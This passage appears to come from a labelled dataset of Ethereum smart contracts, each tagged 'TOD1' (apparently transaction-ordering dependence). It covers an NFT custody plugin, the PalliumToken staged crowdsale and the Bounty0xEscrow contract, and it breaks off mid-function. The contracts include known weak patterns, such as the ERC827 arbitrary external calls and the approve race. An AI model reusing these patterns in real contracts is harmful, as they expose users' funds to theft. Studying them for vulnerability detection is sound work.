reference to the NFT ownership contract /// and verifies the owner cut is in the valid range. /// @param _coreAddress - address of a deployed contract implementing /// the Nonfungible Interface. function setup(address _coreAddress, address _pluginsContract) public onlyOwner { CutieCoreInterface candidateContract = CutieCoreInterface(_coreAddress); require(candidateContract.isCutieCore()); coreContract = candidateContract; pluginsContract = _pluginsContract; } /// @dev Returns true if the claimant owns the token. /// @param _claimant - Address claiming to own the token. /// @param _cutieId - ID of token whose ownership to verify. function _isOwner(address _claimant, uint40 _cutieId) internal view returns (bool) { return (coreContract.ownerOf(_cutieId) == _claimant); } /// @dev Escrows the NFT, assigning ownership to this contract. /// Throws if the escrow fails. /// @param _owner - Current owner address of token to escrow. /// @param _cutieId - ID of token whose approval to verify. function _escrow(address _owner, uint40 _cutieId) internal { // it will throw if transfer fails coreContract.transferFrom(_owner, this, _cutieId); } /// @dev Transfers an NFT owned by this contract to another address. /// Returns true if the transfer succeeds. /// @param _receiver - Address to transfer NFT to. /// @param _cutieId - ID of token to transfer. function _transfer(address _receiver, uint40 _cutieId) internal { // it will throw if transfer fails coreContract.transfer(_receiver, _cutieId); } function withdraw() external { require( isOwner(msg.sender) || msg.sender == address(coreContract) ); _withdraw(); } function _withdraw() internal { if (address(this).balance > 0) { address(coreContract).transfer(address(this).balance); } } function onRemove() public onlyPlugins { _withdraw(); } function run(uint40, uint256, address) public payable onlyCore { revert(); } function runSigned(uint40, uint256, address) external payable onlyCore { revert(); } } /// @dev Receives payments for payd features from players for Blockchain Cuties /// @author https://BlockChainArchitect.io contract Custody is CutiePluginBase { mapping(uint256 => uint256) public custodyFee; mapping(uint40 => bool) public blacklist; address public operatorAddress; event RIP(address owner, uint40 cutieId, uint256 blockchain); function run( uint40 _cutieId, uint256 _blockchain, address _owner ) public payable onlyPlugins { require(!isBlacklisted(_cutieId)); require(!isUnique(_cutieId)); require(custodyFee[_blockchain] > 0); require(msg.value >= custodyFee[_blockchain]); coreContract.transferFrom(_owner, address(0x0), _cutieId); emit RIP(_owner, _cutieId, _blockchain); } function runSigned(uint40, uint256, address) external payable onlyPlugins { revert(); } function setCustodyFee(uint256 _blockchain, uint256 _fee) public onlyOperator { custodyFee[_blockchain] = _fee; } function recoverCutie(uint40 _cutieId, address _newOwner) public onlyOperator { coreContract.transfer(_newOwner, _cutieId); } function addToBlacklist(uint40 _cutieId) public onlyOperator { blacklist[_cutieId] = true; } function isBlacklisted(uint40 _cutieId) public view returns(bool) { return blacklist[_cutieId]; } function isUnique(uint40 _cutieId) public view returns(bool) { uint256 genes = coreContract.getGenes(_cutieId); return ((genes / 0x100000) % 0x10) == 0x1; } function setOperator(address _operator) public onlyOwner { operatorAddress = _operator; } }
TOD1
pragma solidity ^0.4.18; // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/ownership/CanReclaimToken.sol /** * @title Contracts that should be able to recover tokens * @author SylTi * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. * This will prevent any accidental loss of tokens. */ contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; /** * @dev Reclaim all ERC20Basic compatible tokens * @param token ERC20Basic The address of the token contract */ function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } // File: zeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } // File: zeppelin-solidity/contracts/token/ERC20/PausableToken.sol /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } // File: zeppelin-solidity/contracts/token/ERC827/ERC827.sol /** @title ERC827 interface, an extension of ERC20 token standard Interface of a ERC827 token, following the ERC20 standard with extra methods to transfer value and data and execute calls in transfers and approvals. */ contract ERC827 is ERC20 { function approve( address _spender, uint256 _value, bytes _data ) public returns (bool); function transfer( address _to, uint256 _value, bytes _data ) public returns (bool); function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool); } // File: zeppelin-solidity/contracts/token/ERC827/ERC827Token.sol /** @title ERC827, an extension of ERC20 token standard Implementation the ERC827, following the ERC20 standard with extra methods to transfer value and data and execute calls in transfers and approvals. Uses OpenZeppelin StandardToken. */ contract ERC827Token is ERC827, StandardToken { /** @dev Addition to ERC20 token methods. It allows to approve the transfer of value and execute a call with the sent data. Beware that changing an allowance with this method brings the risk that someone may use both the old and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 @param _spender The address that will spend the funds. @param _value The amount of tokens to be spent. @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function approve(address _spender, uint256 _value, bytes _data) public returns (bool) { require(_spender != address(this)); super.approve(_spender, _value); require(_spender.call(_data)); return true; } /** @dev Addition to ERC20 token methods. Transfer tokens to a specified address and execute a call with the sent data on the same transaction @param _to address The address which you want to transfer to @param _value uint256 the amout of tokens to be transfered @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function transfer(address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); super.transfer(_to, _value); require(_to.call(_data)); return true; } /** @dev Addition to ERC20 token methods. Transfer tokens from one address to another and make a contract call on the same transaction @param _from The address which you want to send tokens from @param _to The address which you want to transfer to @param _value The amout of tokens to be transferred @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); super.transferFrom(_from, _to, _value); require(_to.call(_data)); return true; } /** * @dev Addition to StandardToken methods. Increase the amount of tokens that * an owner allowed to a spender and execute a call with the sent data. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. * @param _data ABI-encoded contract call to call `_spender` address. */ function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.increaseApproval(_spender, _addedValue); require(_spender.call(_data)); return true; } /** * @dev Addition to StandardToken methods. Decrease the amount of tokens that * an owner allowed to a spender and execute a call with the sent data. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. * @param _data ABI-encoded contract call to call `_spender` address. */ function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.decreaseApproval(_spender, _subtractedValue); require(_spender.call(_data)); return true; } } // File: contracts/PalliumToken.sol contract PalliumToken is MintableToken, PausableToken, ERC827Token, CanReclaimToken { string public constant name = 'PalliumToken'; string public constant symbol = 'PLMT'; uint8 public constant decimals = 18; function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require (totalSupply_ + _amount <= 250 * 10**6 * 10**18); return super.mint(_to, _amount); } } // File: zeppelin-solidity/contracts/crowdsale/Crowdsale.sol /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for crowdsales. They are *not* intended to be modified / overriden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropiate to concatenate * behavior. */ contract Crowdsale { using SafeMath for uint256; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei uint256 public rate; // Amount of wei raised uint256 public weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** * @param _rate Number of token units a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statemens to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); token = token; } function _postValidatePurchase(address, uint256) internal { // optional override token = token; } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _updatePurchasingState(address, uint256) internal { // optional override token = token; } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } // File: contracts/StagedCrowdsale.sol /** * @title StagedCrowdsale */ contract StagedCrowdsale is Crowdsale { struct Stage { uint index; uint256 hardCap; uint256 softCap; uint256 currentMinted; uint256 bonusMultiplier; uint256 startTime; uint256 endTime; } mapping (uint => Stage) public stages; uint256 public currentStage; enum State { Created, Paused, Running, Finished } State public currentState = State.Created; function StagedCrowdsale() public { currentStage = 0; } function setStage(uint _nextStage) internal { currentStage = _nextStage; } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(currentState == State.Running); require((now >= stages[currentStage].startTime) && (now <= stages[currentStage].endTime)); require(_beneficiary != address(0)); require(_weiAmount >= 200 szabo); } function computeTokensWithBonus(uint256 _weiAmount) public view returns(uint256) { uint256 tokenAmount = super._getTokenAmount(_weiAmount); uint256 bonusAmount = tokenAmount.mul(stages[currentStage].bonusMultiplier).div(100); return tokenAmount.add(bonusAmount); } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { uint256 tokenAmount = computeTokensWithBonus(_weiAmount); uint256 currentHardCap = stages[currentStage].hardCap; uint256 currentMinted = stages[currentStage].currentMinted; if (currentMinted.add(tokenAmount) > currentHardCap) { return currentHardCap.sub(currentMinted); } return tokenAmount; } function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { require(_tokenAmount > 0); super._processPurchase(_beneficiary, _tokenAmount); uint256 surrender = computeTokensWithBonus(msg.value) - _tokenAmount; if (msg.value > 0 && surrender > 0) { uint256 currentRate = computeTokensWithBonus(msg.value) / msg.value; uint256 surrenderEth = surrender.div(currentRate); _beneficiary.transfer(surrenderEth); } } function _getTokenRaised(uint256 _weiAmount) internal view returns (uint256) { return stages[currentStage].currentMinted.add(_getTokenAmount(_weiAmount)); } function _updatePurchasingState(address, uint256 _weiAmount) internal { stages[currentStage].currentMinted = stages[currentStage].currentMinted.add(computeTokensWithBonus(_weiAmount)); } } // File: zeppelin-solidity/contracts/crowdsale/distribution/utils/RefundVault.sol /** * @title RefundVault * @dev This contract is used for storing funds while a crowdsale * is in progress. Supports refunding the money if crowdsale fails, * and forwarding it if crowdsale is successful. */ contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); /** * @param _wallet Vault address */ function RefundVault(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } /** * @param investor Investor address */ function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function close() onlyOwner public { require(state == State.Active); state = State.Closed; Closed(); wallet.transfer(this.balance); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; RefundsEnabled(); } /** * @param investor Investor address */ function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); Refunded(investor, depositedValue); } } // File: contracts/StagedRefundVault.sol contract StagedRefundVault is RefundVault { event ClosedStage(); event Active(); function StagedRefundVault (address _wallet) public RefundVault(_wallet) { } function stageClose() onlyOwner public { ClosedStage(); wallet.transfer(this.balance); } function activate() onlyOwner public { require(state == State.Refunding); state = State.Active; Active(); } } // File: zeppelin-solidity/contracts/crowdsale/emission/MintedCrowdsale.sol /** * @title MintedCrowdsale * @dev Extension of Crowdsale contract whose tokens are minted in each purchase. * Token ownership should be transferred to MintedCrowdsale for minting. */ contract MintedCrowdsale is Crowdsale { /** * @dev Overrides delivery by minting tokens upon purchase. * @param _beneficiary Token purchaser * @param _tokenAmount Number of tokens to be minted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { require(MintableToken(token).mint(_beneficiary, _tokenAmount)); } } // File: contracts/PalliumCrowdsale.sol contract PalliumCrowdsale is StagedCrowdsale, MintedCrowdsale, Pausable { StagedRefundVault public vault; function PalliumCrowdsale(uint256 _rate, address _wallet) public Crowdsale(_rate, _wallet, new PalliumToken()) StagedCrowdsale(){ // 25.000.000 PLMT for team token pool _processPurchase(_wallet, 25*(10**24)); vault = new StagedRefundVault(_wallet); stages[0] = Stage(0, 5*(10**24), 33*(10**23), 0, 100, 1522540800, 1525132800); stages[1] = Stage(1, 375*(10**23), 2475*(10**22), 0, 50, 1533081600, 1535760000); stages[2] = Stage(2, 75*(10**24), 495*(10**23), 0, 25, 1543622400, 1546300800); stages[3] = Stage(3, 1075*(10**23), 7095*(10**22), 0, 15, 1554076800, 1556668800); } function goalReached() internal view returns (bool) { return stages[currentStage].currentMinted >= stages[currentStage].softCap; } function hardCapReached() internal view returns (bool) { return stages[currentStage].currentMinted >= stages[currentStage].hardCap; } function claimRefund() public { require(!goalReached()); require(currentState == State.Running); vault.refund(msg.sender); } // this is used if previous stage did not reach the softCap, // the refaund is available before the next stage begins function toggleVaultStateToAcive() public onlyOwner { require(now >= stages[currentStage].startTime - 1 days); vault.activate(); } function finalizeCurrentStage() public onlyOwner { require(now > stages[currentStage].endTime || hardCapReached()); require(currentState == State.Running); if (goalReached()) { vault.stageClose(); } else { vault.enableRefunds(); } if (stages[currentStage].index < 3) { setStage(currentStage + 1); } else { finalizationCrowdsale(); } } function finalizationCrowdsale() internal { vault.close(); setState(StagedCrowdsale.State.Finished); PalliumToken(token).finishMinting(); PalliumToken(token).transferOwnership(owner); } function migrateCrowdsale(address _newOwner) public onlyOwner { require(currentState == State.Paused); PalliumToken(token).transferOwnership(_newOwner); StagedRefundVault(vault).transferOwnership(_newOwner); } function setState(State _nextState) public onlyOwner { bool canToggleState = (currentState == State.Created && _nextState == State.Running) || (currentState == State.Running && _nextState == State.Paused) || (currentState == State.Paused && _nextState == State.Running) || (currentState == State.Running && _nextState == State.Finished); require(canToggleState); currentState = _nextState; } function manualPurchaseTokens (address _beneficiary, uint256 _weiAmount) public onlyOwner { _preValidatePurchase(_beneficiary, _weiAmount); uint256 tokens = _getTokenAmount(_weiAmount); _processPurchase(_beneficiary, tokens); TokenPurchase(msg.sender, _beneficiary, _weiAmount, tokens); _updatePurchasingState(_beneficiary, _weiAmount); } function _forwardFunds() internal { vault.deposit.value(this.balance)(msg.sender); } }
TOD1
pragma solidity ^0.4.24; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public; event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Contract that will work with ERC223 tokens. */ contract ERC223ReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public; function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Bounty0xEscrow is Ownable, ERC223ReceivingContract, Pausable { using SafeMath for uint256; mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether) event Deposit(address indexed token, address indexed user, uint amount, uint balance); event Distribution(address indexed token, address indexed host, address indexed hunter, uint256 amount); constructor() public { } // for erc223 tokens function tokenFallback(address _from, uint _value, bytes _data) public whenNotPaused { address _token = msg.sender; tokens[_token][_from] = SafeMath.add(tokens[_token][_from], _value); emit Deposit(_token, _from, _value, tokens[_token][_from]); } // for erc20 tokens function depositToken(address _token, uint _amount) public whenNotPaused { //remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf. require(_token != address(0)); ERC20(_token).transferFrom(msg.sender, this, _amount); tokens[_token][msg.sender] = SafeMath.add(tokens[_token][msg.sender], _amount); emit Deposit(_token, msg.sender, _amount, tokens[_token][msg.sender]); } // for ether function depositEther() public payable whenNotPaused { tokens[address(0)][msg.sender] = SafeMath.add(tokens[address(0)][msg.sender], msg.value); emit Deposit(address(0), msg.sender, msg.value, tokens[address(0)][msg.sender]); } function distributeTokenToAddress(address _token, address _host, address _hunter, uint256 _amount) external onlyOwner { require(_hunter != address(0)); require(tokens[_token][_host] >= _amount); tokens[_token][_host] = SafeMath.sub(tokens[_token][_host], _amount); if (_token == address(0)) { require(_hunter.send(_amount)); } else { ERC20(_token).transfer(_hunter, _amount); } emit Distribution(_token, _host, _hunter, _amount); } function distributeTokenToAddressesAndAmounts(address _token, address _host, address[] _hunters, uint256[] _amounts) external onlyOwner { require(_host != address(0)); require(_hunters.length 